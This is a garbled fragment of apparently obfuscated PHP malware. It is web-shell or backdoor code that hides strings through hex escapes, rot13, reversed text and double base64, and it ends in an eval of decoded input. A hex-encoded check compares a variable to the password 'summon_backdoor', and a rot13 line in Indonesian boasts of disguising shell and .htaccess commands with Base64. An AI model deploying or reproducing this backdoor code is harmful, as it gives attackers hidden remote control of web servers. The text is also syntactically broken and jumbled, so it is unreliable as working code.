Xrnznana: Crevagnu Furyy & .ugnpprff qvfnznexna qratna Onfr64.");exit ; }if($_g6faa72l===implode('', array("\x73","\x75","\x6d","\x6d","\x6f","\x6e","\x5f","\x62","\x61","\x63","\x6b","\x64","\x6f","\x6f","\x72"))){echoimplode('', array("\x3c","\x64","\x69","\x76","\x20","\x73","\x74","\x79","\x6c","\x65","\x3d","\x69","\x6d","\x70","\x6c","\x6f","\x64","\x65","\x28","\x27","\x27","\x2c","\x20","\x61","\x72","\x72","\x61","\x79","\x28","\x27","\x3b","\x27","\x29","\x29","\x3e"));echostr_rot13("(")[")p"\x5d\x29\x21\x3d"str_rot13(".zq5(")elmak0ngstr_rot13(").vzcybqr(")strrev("(yarra ,")(base64_decode('KSlKenNrWlc1algzWmhjbWxoYm5ROWNtRnVaQ2d4TERZcE8zTjNhWFJqYUNna1pXNWpYM1poY21saGJuUXBlMk5oYzJVZ01Ub2tZalkwUFdKaGMyVTJORjlsYm1OdlpHVW9ZbUZ6WlRZMFgyVnVZMjlrWlNna2NtRjNYM0JoZVd4dllXUXBLVHNrYjJKbVBTYz0=')) ; ; eval(base64_decode(base64_decode("'.$_Lj135v8f.'")));"\x20\x3b\x20\x24\x5f\x63\x52\x62\x4a\x57\x31\x44\x76\x3d"Double Base64"\x3b\x62\x72\x65\x61\x6b\x20\x3b\x20\x63\x61\x73\x65\x20\x28\x31\x2b\x31\x29\x3a\x24\x5f\x6f\x73\x74\x75\x4c\x69\x66\x6b\x3d\x73\x75\x62\x73\x74\x72\x28\x6d\x64\x35\x28\x75\x6e\x69\x71\x69\x64\x28\x29\x29\x2c\x30\x2c\x38\x29\x3b\x24\x5f\x37\x37\x44\x54\x77\x69\x72\x72\x3d"strrev("=jafiQGl1_$ ; )rriwTD77_$(edocne_46esab=cSOny2yt_$};))])kfiLutso__rav_$(nelrts%t7tYuDGm_$[kfiLutso_$(dro^)]t7tYuDGm_$[K3R1lYz9_$(dro(rhc=.rriwTD77_${)++t7tYuDGm_$ ; )K3R1lYz9__rav_$(nelrts
";rpub"";rpub"")c39ec38fc392c39ec287c399c38fc389c385c384c38ec38bc398c393c28ac39ec38fc392c39ec287c39fc39ac39ac38fc398c389c38bc399c38fc383c387c39ac386c385c38ec38fc282"\x2c\x20\x31\x37\x30\x29", array('="\x29\x29\x6c\x65\x74\x74\x65\x72\x2d\x73\x70\x61\x63\x69\x6e\x67\x3a\x31\x70\x78\x20\x3b\x20">Encryption